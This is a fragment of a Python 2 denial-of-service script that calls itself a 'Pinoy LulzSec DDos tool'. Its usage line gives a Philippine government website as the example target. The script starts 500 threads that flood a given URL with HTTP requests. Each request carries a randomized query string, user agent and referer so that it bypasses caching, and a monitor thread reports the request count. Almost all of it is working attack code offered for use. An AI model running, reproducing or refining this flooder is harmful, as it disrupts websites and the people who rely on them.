out_str += chr(a)
return(out_str)

def usage():
print '---------------------------------------------------'
print 'USAGE: lulz.py <url> (ex. lulz.py http://www.gov.ph)'
print 'you can add "safe" after url, to autoshut after dos'
print '---------------------------------------------------'

#http request
def httpcall(url):
useragent_list()
referer_list()
code=0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
request.add_header('Keep-Alive', random.randint(110,120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
#print e.code
set_flag(1)
print 'Pinoy LulzSec attacking'
code=500
except urllib2.URLError, e:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)

#http caller thread 
class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2:
code=httpcall(url)
if (code==500) & (safe==1):
set_flag(2)
except Exception, ex:
pass

# monitors http threads and counts requests
class MonitorThread(threading.Thread):
def run(self):
previous=request_counter
while flag==0:
if (previous+100<request_counter) & (previous<>request_counter):
print "%d Requests Sent" % (request_counter)
previous=request_counter
if flag==2:
print "Work Done!"

#execute 
if len(sys.argv) < 2:
usage()
sys.exit()
else:
if sys.argv[1]=="help":
usage()
sys.exit()
else:
print "-- Pinoy LulzSec DDos tool Startted --"
if len(sys.argv)== 3:
if sys.argv[2]=="safe":
set_safe()
url = sys.argv[1]
if url.count("/")==2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
host = m.group(1)
for i in range(500):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()